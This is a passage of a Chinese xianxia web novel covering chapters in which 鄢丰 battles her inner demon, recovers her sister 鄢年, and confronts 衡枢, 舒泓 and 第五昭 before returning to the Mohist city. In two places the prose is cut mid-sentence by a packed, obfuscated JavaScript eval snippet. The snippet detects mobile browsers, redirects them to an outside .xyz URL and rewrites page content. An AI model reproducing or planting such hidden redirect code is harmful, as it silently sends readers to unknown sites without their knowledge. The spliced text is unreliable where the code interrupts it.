周遭景物飞升远去,刺目的光芒将一切都遮挡起来,眼前幻影一闪,正是鄢年巧笑嫣然,站在村头那棵尚未死去的老槐树下。 她手中捧着一个小小的盆栽,一株闪烁着琉璃光彩的花朵赫然挺立在土壤之上。 她微微低下头,好奇地摆弄起它小而美丽的花瓣,半晌竟然开口说了话:“你叫什么名字?” 那花好像能够听懂她的话一样,微微舒展花瓣,于是散逸出一点儿魔气,轻轻扑在鄢年的脸上。 鄢年睁大眼睛:“又、双?好特别的名字!” 两人就这样通过魔气交流,度过日复一日的时光。 鄢丰看到,那朵被鄢年小心地放在床头的永夜花,每到夜晚时分,她熟睡时,便伸出浅黄的蕊丝,而后将它化作一缕缕纯黑的魔气,侵入鄢年的身体。 到了第十日,那个寄居在永夜花中的魂魄,便成功地侵入她的神识,彻底占据了她的身体。 鄢丰看着,却也只能看着。 悲哀与愤怒在她心中交错升起,忽而流泪,忽而气喘。 她想起失落之地中,鄢年遗落的魂魄——迷失在虚空之中,永恒地流浪。 黑色的眼瞳再次变得猩红,鄢丰感觉心脏仍在跳动,又像是已经停止了。 不然的话,四周为什么这么安静,安静到连心脏跳动的声音也听不到了? 可是为什么,那一股不能自已的巨大恐惧还是在心中不断蔓延,像藤蔓一样迅速占领心中每一个角落—— “鄢道友,静心。” 一道沉着的嗓音兀地出现在耳边,鄢丰转动眼珠,看到一切的罪魁祸首。 在失去意识的最后,她一字一句问:“……你早就知道。” 不是问句。 指甲疯长,鄢丰眼中流下鲜血,衡枢分明以白纱覆眼,却像是看到了一般,轻轻叹了口气。 “鄢道友,再这样下去,你撑不过五日,便要彻底成魔了。” 说罢,他不理鄢丰速度极快的那一剑,手中飞快结印。 “阴消阳长,赐吾‘五德之术’。” 五色光芒在他手中依次亮起,而后化作一道道光束,顺着鄢丰的手臂汇入她的身体中。 在剑即将刺穿咽喉的瞬间,红色褪去,鄢丰茫然地透过那层血纱,与衡枢对视。 “冷静下来了吗,鄢道友?” 鄢丰缓下呼吸,片刻之后,终于不再流泪,只是木然看着他,再一次问出了那个问题: “你早就知道。” 衡枢不置可否。 “……直到我入魔以后,你还是一直在骗我。” 血已经将整个白纱覆满,顺着衡枢的脸颊流下来,他却仍然是面无波澜的样子。 顿了顿,他问:“鄢道友,事到如今,这些对你来说,还重要么?” 鄢丰看到他这幅早就算尽一切的模样,前所未有的愤怒,剑推进一寸,衡枢的喉间便渗出鲜血。 而衡枢无动于衷,好像她今日便是将他杀了,也只是如下了场雨一样平常的事情。 “你以为我真的不敢杀你?” 衡枢笑了一声:“鄢道友,你不敢。” “我最讨厌你这什么都尽在掌握的样子。” 明明已经被剑伤到了,衡枢却好像根本不知畏惧,反而还在火上浇油:“我知道你想问什么,鄢道友,实话说,令妹如今,是再也没有退路了的。” 鄢丰咬牙,一字一顿:“你当初是怎么答应我的?” 衡枢叹了口气,似乎有点可惜那把剑没有真的被她一气之下贯穿他的喉咙。 “为什么不杀我呢,鄢丰?” 在鄢丰的印象中,这是自师姐死后,衡枢第一次喊她“鄢丰”。 鄢丰不理会,被他看穿胆怯,她将剑扔在地上,却听到衡枢的毫无起伏的声音再次响起: “鄢丰,我今天来,只是还想再问你一次。” 这句话叫他说得平铺直叙,就像谈论天气一般淡然。 他问:“当日你要救世之心,可还依旧?” 衡枢分明只是在问一个无数人已经问过她无数次的同一个问题,却又总让人觉得他的话另有所指。 沉默。 鄢丰沉默了很久。 而衡枢最不缺少耐心,在长久的黑暗中,他习惯了这样的沉默。 于是这种沉默只能由鄢丰自己来打破,一如很多年以前—— 很多年以前? 鄢丰愣了愣,忽然觉得这场景似曾相识。 衡枢勾起唇角:“鄢道友?” 鄢丰终于回过神,自嘲地笑了:“ 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鄢丰下意识握紧剑,眼前混乱聚拢的魔气和黑暗中野兽的猩红双眼交叠浮现,鄢丰闭了闭眼,奋力将那些念头驱逐出去。 可是,有人比她更快地做出了选择。 “温冥,你到底在做什么!” 潘又双尖锐的声音几乎刺破耳膜将她惊醒,鄢丰感到一股窒息之感,身体正在不受控制地慢慢悬空,视线下移——温冥的手正狠狠箍住她的脖颈,将她整个人都提了起来! 鄢丰挣扎着提起剑,却发现自己的魔气不知为何被禁锢起来,聚集起来的魔气在剑上散逸—— 这个阵法根本不是传送阵! 温冥的血被阵法贪婪地吸入,大量魔气顺着阵法中亮起光芒的古老铭文涌上来,鄢丰在要命的窒息感中意料之外地读懂了那段铭文。 魔龙睚眦,长眠于此; 见此文者; 可承魔龙之心。 鄢丰猛地明白了温冥此刻的异常—— 这段铭文故意让他们能够读懂,就是以睚眦之力为诱饵,要加快他们入魔的速度! 而阵中之人,唯有甘愿放出心中之恶,甘愿将一切交付给那野蛮的困兽,才能继承上古魔龙至强至恶的力量! 那个念头还在脑中盘旋不散。 杀了他们。 杀了温冥; 杀了潘又双; 为鄢年复仇! 鄢丰再次挣扎起来,窒息感和席卷而来的愤怒与悲哀让她握紧剑柄,指节掐得泛白。 脑中的声音还在不断说出蛊惑的话语,它甚至已经化作实性,从层层黑气中凝聚成一条龙的模样,发出喃喃低语: “你说要拯救世界,你最后又拯救了谁呢?” “……还记得你讲的那个故事吗?你曾经施予的……可有回报给你半点慈悲?” “你还在挣扎什么?接受这份力量,你就可以获得真正能够拯救世界的力量了……” 鄢丰平静的眼底终于泛起波澜,黑色的眼瞳蒙上一层血色,魔纹攀上脸颊,她迅速挣脱了眼前的束缚,长剑利落地贯入敌人的胸膛,茫然的目光很快在下一刻锁定了新的目标。 恍惚之间,她对上一双惊惧的眼睛,可是她的心中除却仇恨,再也无法感到一点儿怜悯之意。 少女双脚离地,掐在她脖颈的手毫不犹豫地收紧,很快她便呼吸困难起来,脸涨得通红。 魔纹愈加鲜红刺眼,鄢丰两只眼睛都完全被血色覆满,她唇角扯起一抹残忍的笑意,手指吗,猛地收紧—— “鄢……丰!” 清脆的嗓音因为致命的窒息感,显得有些沙哑,可是却仍然毫无阻隔地穿过耳边一切杂音,鄢丰猛地回过神! 穿越重重黑暗,她还是毫无阻隔地对上了一双熟悉清亮的眼睛。 那是一种比恶念与欲望更要刻骨铭心的本能,鄢丰条件反射地松开掌中力度,少女的身体轻飘地像一片羽毛,落在她的怀中。 ——只消一眼她就知道,那就是鄢年。 如假包换。 魔气轰然散去,鄢年喘着粗气,朝她眨眨眼,一层水汽忽而蒙上那双杏眼: “我终于……又见到你了,鄢丰。” 42. 孤岛(八) 失而复得的喜悦还未来得及将她完全占据,温冥身体轰然倒下的瞬间,阵法竟然再次启动! 鄢丰这才发现,这是献祭阵! 来不及多想,她猛地将鄢年推出阵法范围,献祭阵成,一股黑气席卷而来,将阵法正中的温冥和鄢丰一并吞噬殆尽! 鄢丰被铺天盖地的黑色遮住视线的最后一刻,被一截苍白的指尖拉住,一道黑影瞬间出现在她身边,与她一起,被传送到未知的险境。 眼前一黑,下一刻,歌女婉转的唱词将两人惊醒! 鄢丰垂眸看向第五昭紧紧拉住自己的苍白指尖,上面的剑伤因为他过于用力,再次裂开,渗出一点血渍。 她沉默地挣开,转头打量起周遭的环境。 鄢丰来过这里。 繁华的金陵城,来过一次的人都难以忘怀。 他们此刻似乎正站在一座木制的画舫上,屋里陈设雅致极了,主人显然是爱好风雅之人。 这里的一切都让她感到无端的熟悉。 “吱呀”一声轻响,门被人毫无征兆地打开。 鄢丰警惕地盯着那扇门,一袭紫衣翩然而入,满身环佩带起轻轻的脆响。 对上鄢丰戒备的视线,对方不慌不忙带上门,“唰”地展开折扇,掩面笑了起来: “呀,有贵客来了。” 看清来人面目的一瞬间,鄢丰猛地睁大眼睛,对上一双熟悉的眼睛。 舒泓走到她的面前站定了,两相沉默片刻,鄢丰看着他,终于率先开了口:“……前辈。” 舒泓闻言反而一愣,他顿了顿,再次将她上上下下打量了一番,才试探着问:”你是……当年昆山的那个小姑娘?” 鄢丰不语。 舒泓却好像得到什么确证一般突然狂笑起来:“哈哈哈哈哈哈……哈哈哈哈!原来是你,原来是你啊!哈哈哈哈哈哈……”顿了顿,他终于停下来,审视的目光却再一次落在她的身上,半晌,漫不经心地问,“你可有什么想要问我的?” 鄢丰目光落在他腰间一枚黑色令牌上,久久不语。 舒泓也不提醒,只是耐心等着,半晌,鄢丰终于抬眼看向他,语气笃定,一字一顿:“没有。” 舒泓露出一点惊诧的神色,他低头取下那枚黑色令牌:“当真?我倒是记得,当年我离开墨家时,”他将令牌递到她面前,“你到这里找了我许多次……如今,你已经不再需要我的回答了吗?” 他眯着眼睛看她,似笑非笑。 鄢丰却无有犹豫地点点头:“前辈的意思,我已经明白了。” 舒泓却没有放过她,眼睛盯着他,问:“你明白了什么?说来听听。” 鄢丰看着他的神情,竟然觉得他此刻的神情竟然与当初在墨侠城中,他向她考交功课时的模样如出一辙。 恰在此时,一阵和煦的微风透过微微敞开的窗户拂过脸庞,她仿佛闻到海棠花的清香,恍惚间,鄢丰几乎以为自己真的回到了百年之前的墨侠城中。 当年在昆山,一年一度的百家盛会,也是在这样的季节开始,上百名掌门人都来到昆山,为自家挑选弟子。 作为天生灵体,她天赋绝佳,所有人都希望能够被她选择。 但是早在百家盛会开始之前,鄢丰心中就已经有了答案。 初到昆山时,她曾经整日整日待在藏书阁中,遍览诸子百家,可是最终唯有那一句话曾在脑中不断回响。 “视人之国,若视其国;视人之家,若视其家”。 她想起了自己的家。 因为鄢年的缘故,他们一家人虽然在村中勉强维持生计,可是始终受到村民们若有若无的排挤。 即使她努力保护鄢年,当她不在家中的时候,鄢年还是会被偶然出现的小石子刺伤皮肤。 她想,如果这个世界,能够成为墨子所描述的那样,就好了。 从此,这便成为了鄢丰的理想。 因而,当舒泓站在那株盛放的海棠树下,一面摇着折扇,一面状似漫不经心地问她:“昆玉同我说……你初入昆山时便同他说过,想要入道墨家。……为什么?” 鄢丰便如实回答说: “‘视人之国,若视其国;视人之家,若视其家’……这是《墨子·兼爱》中的话。我想要让这一切成真。” “你对这个世界现在的样子不满意吗?” 鄢丰想了想:“我觉得,它还可以——它还应该变得更好。” 舒泓点点头,片刻之后又问:“你已经下定决心了吗?” 鄢丰重重点头。 舒泓似笑非笑地摇着折扇,最后他看向她,难得地敛去所有笑意,盯着她,一字一顿地问: “即使世人辜负你,伤害你,即使行兼爱者在这人人偏私所亲所爱的人间举步难行,你也决心……永不言弃?” “——永不言弃。” 柔顺微冷的春风卷起几片淡粉的花瓣儿,轻轻拂过脸颊,带起一阵海棠暗香,与那一日如出一辙。 这一回,舒泓点点头,问的是: “那么,现在,你为什么想要放弃?” 鄢丰反问:“前辈又是为了什么叛出墨家?” 舒泓面色坦然,面对这近乎于质问的话脸色也丝毫未变,甚至似乎早料到她有此一问,他几乎没有思考便回答: “即使我离开了墨家,也不代表,我放弃了我当初的理想。” 鄢丰一愣。 “你呢?”舒泓紧接着问,“你是放弃了,还是……在另寻方法?” 鄢丰一时说不出话,可是舒泓却似乎并不需要她回答,很快朝她伸出手,露出一个她熟悉的笑容,对她说: “如果你还想要实现我们当初的理想……你可以再一次,与我同行。” 鄢丰睁大眼睛,一时间愣在原地,一边的第五昭终于再也听不下去,眼前黑影一闪,魔气瞬间盈满整座房间,眨眼之间魔气便凝聚成无数尖锐的剑,准确地朝着舒泓袭去! 舒泓蹙起眉,脸上露出不悦的神色,折扇打开。 下一刻,随着开扇的声音一起落下的,还有一道溅出三尺的血迹。 一根极细、极锐利的小针,擦着第五昭的脖颈穿过,险险蹭过要害,却在皮肉之上生生扎出一个小洞! 而在场的两人,谁也不曾看清那根针究竟是如何射出去的。 舒泓一步一步朝着被钉在墙上的第五昭走去: “我不是没有给过你机会。” 他的脸色是罕见的充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557293|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满轻蔑与厌恶,仿佛只是看着他便感到作呕一般。 “别逼我现在就杀了你。” 第五昭却疯了一般不顾实力悬殊,魔气凝聚,刹那之间竟然就要再次朝舒泓而去! 鄢丰猛地出言打断:“前辈方才的话是什么意思?” 舒泓顿了顿,转过身,恢复了那副笑眯眯的面孔。 他不需要问就知道她在问什么,很快地回答:“很简单——如果某些事情在人间行不通,那么,就到魔域去。” 鄢丰再次不可置信地睁大眼睛,舒泓已经走到她的面前: “瞧,你不也是刚刚放出了‘它’来吗?你不也是刚刚……认同了它吗?” 他朝她伸出手,鄢丰却猛地后退一步,她下意识摇头后退:“不……不是这样的……” 舒泓却更加逼近她:“那应该是什么样的?”他的声音突然变得很严厉,目光死死盯住她,仿佛她不给出一个答案便不会善罢甘休,“如果那个理想在这样一个腐朽肮脏的人间根本无有实现的可能,为什么我不能回身成魔,为了我的理想另谋一条出路?鄢丰……” “你敢说,你就没有一刻,也曾这样想过吗?” 鄢丰只是不断摇头,耳边嗡鸣声不断,魔纹再次攀上她的脸颊,“它”的声音再次在耳边响起。 就在这时,一道熟悉的声音传来,似乎隐约带着几分无奈: “舒前辈,莫再玩笑了,她现在可不能再受什么刺激。” 鄢丰抬起头,看到一身黑衣的衡枢从门外走进来。 身后的门被人打开,眼覆黑纱、一身黑衣的衡枢走了进来。 鄢丰不知道他是一直在听,还是恰好此时才进了门。 但有一件事是明确的—— “你也这样想吗,衡枢?” 衡枢只是瞟了她一眼,说:“是或不是,这对你来说重要吗?” 鄢丰冷笑:“对我当然不重要。但衡枢,你……”她忽然想起什么,话说到一半便戛然而止,最终她只是看了衡枢一眼,转而问,“所以,你们在那里布下阵法,就是为了把我带到这里,然后让我也和你们一起……勾结魔族?” 衡枢笑了一声:“不。我来,始终只想要你的一句话。”他没有正面回答他的问题,只是再次重复他一再追问她的那个问题,“关于我问你的那个问题,你什么时候能够回答我?” 鄢丰无端感到一阵愤怒,她冷笑道:“拿你那无所不知的阴阳眼,一算便知,还来这里问我做什么?” 衡枢默了默,一枚硬物被扔到她怀里,鄢丰下意识接住,衡枢的声音在耳边响起:“也罢,我换一个问题问你:你真的心甘情愿,就此万劫不复,彻底成魔?” 鄢丰正想要反问,可是手中那枚令牌冰凉的触感让她微微清醒了一些,一个不可思议的猜测在她心中升起,她看向衡枢,后者总算松了一口气的模样点点头: “就是你想的那样。——这枚令牌,可以帮你,七情逆转,回身成圣。” 鄢丰睁大眼睛。 衡枢却笑了一声:“七情入魔自来不可逆转,这是对于此界生灵而言,不可逾越的铁律。所以……” “你不是要再次成为人,而是以七情为契机……飞升成圣。” 43. 孤岛(九) 鄢丰一言不发地快速前进,胸口那枚绿檀木牌微微发烫,从心口的皮肤渗入心脏,不但分毫未能让她平静下来,反而使她愈发暴躁。 身后的人默不作声地跟着,更加重了她的烦躁。 片刻之后,鄢丰终于停下来,定定看向身后的第五昭:“你到底要跟我到什么时候?” 第五昭顿了顿,说:“你真的相信那两个人说的话?你知道这个试炼对你来说意味着什么吗?!” 鄢丰转过身,声音竟然罕见地带上几分不易察觉的戾气:“这和你又有什么关系?” 第五昭却对此毫无所觉,他只是看着她,说:“舒泓不可信。” 鄢丰心中一动:“你认识他?” 从刚才起她便注意到,第五昭看着舒泓的眼神似乎不亚于彼时在裂缝之下,他看着潘又双时的眼神—— 充满仇恨,与愤怒。 第五昭冷笑一声:“当然。你有没有想过,为什么偏偏在你彻底步入七相的时候,他恰好就现身了?你当初在昆山的时候——” 他猛地止住,顿了顿,继续道:“你当初在昆山的时候不是找过他吗,他可有现身?” 鄢丰抬眼,这一次认认真真再次将他打量了一番:“你想说什么?” “你忘了永夜城和新垣城中,那些神智全无的百姓吗?当初便是他给飞羽出了这一策!……当初你在永夜城就已经险些走火入魔,焉知你的今日,没有他在从中作梗?” 鄢丰的脸色却猛地变了,她失声道: “我的今日拜谁所赐,昆山因何覆灭,需要你来提醒我吗?!” 第五昭似乎也意识到了什么,脸色白了白,微微后退一些,半晌,他低声笑了笑: “是啊,是啊,是啊……那么,”他连声说了三次,几乎是不可抑制地狂笑起来,下一刻“铮”一声,雪亮的剑光从眼前闪过,他拔出了她的剑,“杀了我吧,鄢丰。你杀了我……便能替你的师门报仇了。” 鄢丰沉默不语,只有她自己知道,此时此刻她几乎听不清第五昭的声音,唯有衡枢的话和心魔的耳语交织在一起,令她快要疯魔。 衡枢漠然的神色再次浮现在眼前,他静静看着她,说:“倘若不想成为神智全无的怪物……你只有这一条路可走。” “……你这是在逼我参加你说的这个诸子试炼么。” 衡枢扯起嘴角:“别用看仇人的眼神看着我,鄢道友……”顿了顿,他看了第五昭一眼,笑容竟然多了几分真意,看着她一字一顿说,“别忘了,是谁让你走到今天这个地步,逼得你不得不走上这一条最凶险的飞升之路。” “衡枢说得没错,不是吗?”“它”说,“你看,他自己也一心求死。为什么不成全他,也成全你自己的仇恨呢?” 鄢丰豁然回神,红色血丝再次无声息攀上她的眼睛,只是不那么容易被觉察。 她急促地喘息着,这一次,果真不再犹豫。 显而易见的杀意浮现在她微红的眼中,她微微抬起头,无意间对上他猛地兴奋起来眼神,微微一愣。 她读不懂这样的眼神。 手上的动作却丝毫不停,甘镬剑铮鸣着随心意而动,锋利的剑刃再次将他掌心的伤口划得更深,鲜血在空中飞溅,甘镬剑已经回到鄢丰的手中,被她稳稳握住。 她熟练地挽个剑花,朴实无华的剑招没有裹挟任何灵力或魔气,就这样毫不犹豫、速度极快地刺入他的心口! 尽管此刻她已经和凡人无异,这满是杀意的一剑在他的不躲不闪之间竟然可与往日平分秋色,刺破皮肤,剑光因为饮下鲜血而隐隐散发出淡淡莹光。 然而,在剑锋触碰到那颗木石之心、彻底将它击碎的瞬间,一株幼苗竟然毫无征兆地从他的心口破茧而出! 那幼苗的生命力顽强极了,带着尖锐的木屑穿透心口的皮肤和衣服,微微露头,正迎着她的剑气招展。 鄢丰瞳孔骤缩,理智回笼,她下意识收了剑,眼睛死死盯着那株幼苗。 眼前浮现出一只鲜血淋漓的手,那只手中握着一颗还在砰砰跳动的鲜红心脏。 而那颗心脏之上,赫然生长着一株小小的、泛着新绿光泽的嫩芽。 滚烫的血液喷洒在脸上,身后残肢遍地,她近乎麻木地将围住他们的人利落地肢解,泪水却混着来不及擦去的鲜血一起顺着脸颊流下。 “鄢丰姑娘……动手吧。” 那位正值壮年的城主仿佛在一日之间彻底老去,声音沙哑,目光却充满希翼,一瞬不瞬看着她,仿佛在等她的许诺。 回答他的是一道雪亮的剑气,饮尽鲜血的长剑嗡鸣着斩断方才破茧而生的新芽,它零落在泥中,随着那位城主一起,颓然长逝。 耳边只剩下一声叹息般的轻语: “鄢丰姑娘……将来还请,也救昭儿一命。” 鄢丰呼吸一滞,新垣城中的一切在刹那之间同眼前的场景重叠在一起,她本能地举起剑,手腕一翻,果断将那株小小的幼苗一下斩断! 第五昭垂眸看向掉落在地上的幼苗,半晌,意味不明地笑了一声: “看来……你见过它。” 鄢丰却仍然怔愣在原地,好像还未从方才的惊吓中缓过神来。 第五昭凑近她一步,花瓣儿从空中片片飘落,带起一阵暗香。 嫩粉色的花瓣拂过眉梢,鄢丰微微回过神,对上他近在咫尺的眼睛。 她第一次认真看着他的眼睛。 这时候她才第一次发现,原来在清醒的时候,第五昭的眼睛黑白分明,像黑曜石一般,凑近了看,就像是能把人的神魂都摄入其中。 片刻后,她听到他语带三分讥讽地说: “想杀了我的话……斩断那个东西,结果只能是适得其反。” 鄢丰不答,只是低下头,拾起地上的幼苗,问:“你知道这是什么?” 他用她方才的话回呛:“与你何干?” 鄢丰蹙起眉,神色难得有几分肃然。 她看着他,一字一顿说:“这不是傀儡家的东西。当日在新垣城,第五霖的心脏中……也长出了这个东西。” 第五昭却好像没听到她的话一样,反而扬眉问:“既然如此,你又为什么斩断它?” 鄢丰默了默。 她分辨不清他话中的真意,馥郁的花香却愈发让她感到难以忽视。 鄢丰似有所感地抬起头,发现不知何时,他们恰恰就停留在一棵海棠树下。 这棵海棠树长得很高,恰逢花期,盛放之间,几乎将两个人都掩盖在花下,恬淡的香气将他们整个都包裹起来。 鄢丰下意识抬起手,想要折下一枝来。 “——你想干什么?” 第五昭的声音倏然响起,竟比片刻之前他逼迫她杀了他时还要冷。 鄢丰动作一顿,放下手看向他。 两人一时相对无言。 良久,鄢丰长叹一声,像是妥协了什么一般。 在只有她自己能看到的地方,心魔化作一道显影,在她的叹息声中又轰然散去。 那一刻,她听不到外界的声音,耳边只有心魔消散时的呢喃—— “你的兼爱之道,到底救了谁?” 鄢丰定了定神,再次仰起头,抬手折下一枝新放的棠花。 第五昭的神色变得更差,他眉头紧皱,原本黑白分明的眼中也隐隐染上一点血色,声音不含一点温度地冷笑:“你又想说什么一笔勾销的话吗,鄢丰?”他红着眼睛看着鄢丰低垂的眼睛,咬牙道,“懦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557294|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱!就是因为你这样懦弱,昆山才——” “第五昭。” 鄢丰打断他即将脱口而出的伤人话,说:“你是第五昭,也是阿昭。” 听到“阿昭”这个称呼,第五昭无端更加愤怒,几乎是歇斯底里地喊: “别叫我阿昭!” 鄢丰却充耳不闻:“你和当年那个孩子,从始至终,都是一样的。” 未及盛放的棠花枝随着她的话音,从指尖滑落,缀在泥土上。 一如很多年前一样。 她什么也没再说,又好像已说尽千言万语。 “别再跟来。” 她最后深深看他一眼,便不再停留,大步赶往她此行的目的地,墨家。 身后,未及盛放的朵朵棠花,随叹息声落在地上,在这无人问津之地,与那株幼苗一并,零落泥中。 . 墨家近年来愈发式微,领土随着游仕、游侠两派的分裂,进一步缩小了一些。 这本该是鄢丰最熟悉的地方,她入门墨家之后曾在这里居住百年,专研墨法,在游侠一派中甚至颇有名望,在使出“非命”一式之后更是名噪一时,一度成为墨家游侠派最有希望的钜子继承人,游仕一派也因此向她抛来橄榄枝。 所有人都希望她能振兴墨家。 鄢丰仰头看着龙飞凤舞书“墨侠”二字的牌匾,犹豫片刻,还是低下头,将腰间挂着的那枚黑色的腰牌取下来,揣进怀里,方才步入进城。 这是墨家游侠一派的总部,组织的核心人员都聚集在此。 正因为她与游侠派颇有渊源,这场试炼不需要耗费太多力气就能直接开启。 “是鄢丰吗?” 不待鄢丰进门,就有人发现了她,从身后拍拍她的肩膀。 鄢丰回过头,一个面相和善的女子朝她笑了笑:“钜子叫我在这里等你。” 女子名叫温璧月,是最受这代钜子信任的墨家修士。 鄢丰年少在此修行,她也多有照拂。 可是此刻,她显然早听说了鄢丰在昆山入魔屠村的事,和她保持着一个不远不近的距离,目光有些审视意味地打量着她。 她也注意到她腰间没有佩戴令牌,有些欲言又止地问:“你……没带墨牌来吗?” “带了。”鄢丰知道她要说什么,从怀中掏出那枚被保养得很好的墨牌,将它递到温璧月面前,“鄢丰当日为昆山灭门之事,堕入魔道,滥杀无辜,自知辜负了钜子和诸位前辈期望,如今已不配位列墨侠兼士之中。……还请前辈,代钜子之责,收回这枚墨牌吧。” 温璧月只低头看了一眼,便又将它推了回去:“这事本不该由我来办。这些话,还是等你见到钜子,亲口对她说吧。” 鄢丰顿了顿,还是将墨牌收进袖中,点点头:“钜子在哪里?” “钜子在尚贤城中等你。” 鄢丰蹙眉,犹豫片刻,还是问:“……尚贤城中的情况,如何?” “不容乐观。——等你到了便知道了。走吧,我们这便启程,去尚贤城。” 说罢,温壁月便不由分说地打开门,带着鄢丰走到传送阵前。 传送阵亮起白色微光,再睁开眼时,便已经来到了尚贤城。 这里已经与鄢丰记忆中的尚贤城完全不同。 眼前还阵阵眩晕着,血腥气却已经扑鼻而来。 鄢丰怔愣地长大眼睛,终于看清面前手执长剑的女子,正利落地将饮尽了鲜血的墨色长剑送入一名布衣的胸膛。 萦回不去的魔气,也随着这一剑形散于空气之中。 听到动静,那身黑色锦袍微微翻动了一下,她转过身,看到鄢丰来了,朝她笑着点点头: “你来了。我在这里,等候多时了。” 44. 群魔(一) 钜子本名唤作叶商,平素最是不苟言笑,偏又长了一张长脸,让她更显得难以接近。 比起一个提倡“兼爱”的领导者,她看起来更像一个严格执行法令者。 她说起话来总是公事公办,譬如此刻,见到两人向她行礼,她只是微微颔首,也不寒暄,瞥见鄢丰腰间的佩剑,淡淡道:“既然来了,便开始吧。” 鄢丰握紧了剑柄,叶商看她一眼,说:“你回昆山时,尚贤城的情况已经不容乐观。今日这样的局面……该在你意料之中。” 鄢丰怔在原地,被刻意遗忘的记忆恍若隔世,直到此刻才随着眼前触目惊心的一切,被慢慢唤醒。 叶商擦去溅到脸上的血渍,看向鄢丰,饶有兴味地问:“事到如今,你可后悔?” “钜子问的是哪一件?” 叶商意味深长地笑了一会儿,才道:“假如你琉璃道心尚在……他们或许就不会死。现在,你后悔吗?还是说……”顿了顿,她凑近了些,紧紧盯着鄢丰的眼睛,好像连她一点儿细微的表情也不愿意错过,“你也觉得,松了一口气呢?” 深深隐藏在心底的恐惧被重新唤起,钻心的疼痛从身体的每一处传来,鄢丰几乎不能呼吸,可是刀锋还是不断划破她的肌肤,血流如注的伤口一次又一次被剖开,挤压出更多。 她想说话,可是周遭环境让她根本没有一个说话的机会。 分明是她被锁链紧紧锁住,周围的人却没有一个不在哭号、嘶喊,向她磕头下跪,谢她、求她,求她…… 用她那受尽天道恩赐的琉璃血,救救他们。 救救他们。 鄢丰回过神,对上叶商颇具审视意味的目光。 片刻后,她敛起眼中波澜,不答,只说:“……若能以鄢丰一人之命,换得墨家百姓长安太平,鄢丰……心甘情愿。” 叶商静静听她说完,目光一瞬不瞬地看着她。 一点儿黑气似有若无地在鄢丰周围闪烁片刻,又很快消失不见,仿佛只是一种幻觉。 两人无声对视,一时无话。 半晌,叶商收回视线,意味不明地笑了笑,反而道: “他们那样对你,你便是再不肯帮,也是人之常情。” 鄢丰来不及回答,便被人抱住脚踝。 “鄢丰!你是鄢丰对吗?……鄢丰、鄢丰,你、你救救我,救救我们啊……我们家还有尚未足月的孩子,我妻子她……” 对方抱着她不管不顾地哭号,鄢丰低下头,对上一双穷途末路的绝望眼睛。 那双眼睛,不仅瞳仁隐隐蒙上一层血色,最重要的是他的眼中,布满密密麻麻的红血丝,层层叠叠,如蛛网一般,将他的整个眼眶都绑缚起来。 乍然对上这样一双眼睛,鄢丰心尖一颤。 她头一次发现,这些爬满眼眶的红血丝,就好像…… 就好像那些本该隐藏在空气中的,因果线。 人的眼中……怎么会有因果线? “嗤——” 温热的血液溅洒在皮肤上,带来黏腻的触感。 叶商眼也不眨地抽出剑,一缕似有若无的魔气在那把象征着墨侠一派至高权力的玄铁长剑上,一闪而过。 她居高临下地看着那死去的入魔者,默了默,说:“我和采春已经在这里整整七天七夜……可是,像这样尚存于世,却注定祸害人间的入魔者,在这城中,还不知凡几。” 听到熟悉的名字,鄢丰抬眸,问:“采春也来了?” 叶商看了她一眼,唇角勾起一个莫测的弧度,说:“你来得还算及时,或许你们还能再见上一面。”顿了顿,她移开视线,补充道,“采春或许也想见见你。” “……什么意思?” 叶商却不再回答,反而招呼温壁月一道离去了。 只有心口那枚墨牌微烫的温度,和叶商的声音一起,随风而逝: “斩杀魔物,你也有责任。把这里清理干净,再来找我。” 随着他们的离开,尚贤城中忽然变得静默起来,连沙砾在空中飞舞的声音都一清二楚。 她不知所措地站在这座空城中,手按在剑上,茫然呆立在原地。 不知过了多久,她被声嘶力竭的求助声猛地惊醒! 鄢丰下意识抽出剑,朝着声音的方向靠近了一些。 可是很快,那人便已经率先跑到了她的面前,像是看到救星一样,朝她飞奔而来! 鄢丰不记得曾经与此人相识,他却在见到她的第一眼便准确地喊出了她的名字: “鄢丰!鄢丰,救命……救救我!” 鄢丰将他再三打量,确认自己确实不认识他。 他也许是从别人的口中听过她,又或是曾经见过她——在她不知情的情况下。 思索之间,那人已经死死扣住她的手臂,鄢丰只有一只手臂支撑平衡,被他用力一拽,不由身形一晃。 他却毫无察觉,黑白分明的眼睛昭示着他是这偌大尚贤城中屈指可数的幸存者。 他的情态丝毫不比入魔者好上多少,他看起来怕极了,连脸上的肌肉都在不住抽搐着,像是见到了世上最恐怖的事情。 “采、采春……采春她——” 听到熟悉的名字,鄢丰不由抬起眼睛。 下一刻,不需要他的解释,一切不言自明。 浓郁的魔气随着一道速度极快的身影在面前一闪而过,鄢丰在混乱中对上一双布满红血丝的眼睛。 那双眼睛几乎完全被红色填满,可鄢丰还是一眼便认出了她。 “采春……?” “救命!救救我……” 一声嘶哑的吼叫从她的喉中溢出,鄢丰甚至以为这求助声源于躲在身后的男人。 她几乎是不可置信地看着昔日的伙伴。 采春却仍然重复着方才的那一句话: “救救我……鄢丰,救救我吧鄢丰……只要你的一点儿血,只要一点儿,就可以……救救我救救我救救我救救我救……” “啊啊啊啊啊!!” 身后的人也在这似人非人一般的乞求声中抓紧了鄢丰的衣角。 鄢丰微微侧过头,男人抓准时机催促她:“快、快杀了她——你也看到了吧?她疯了!” 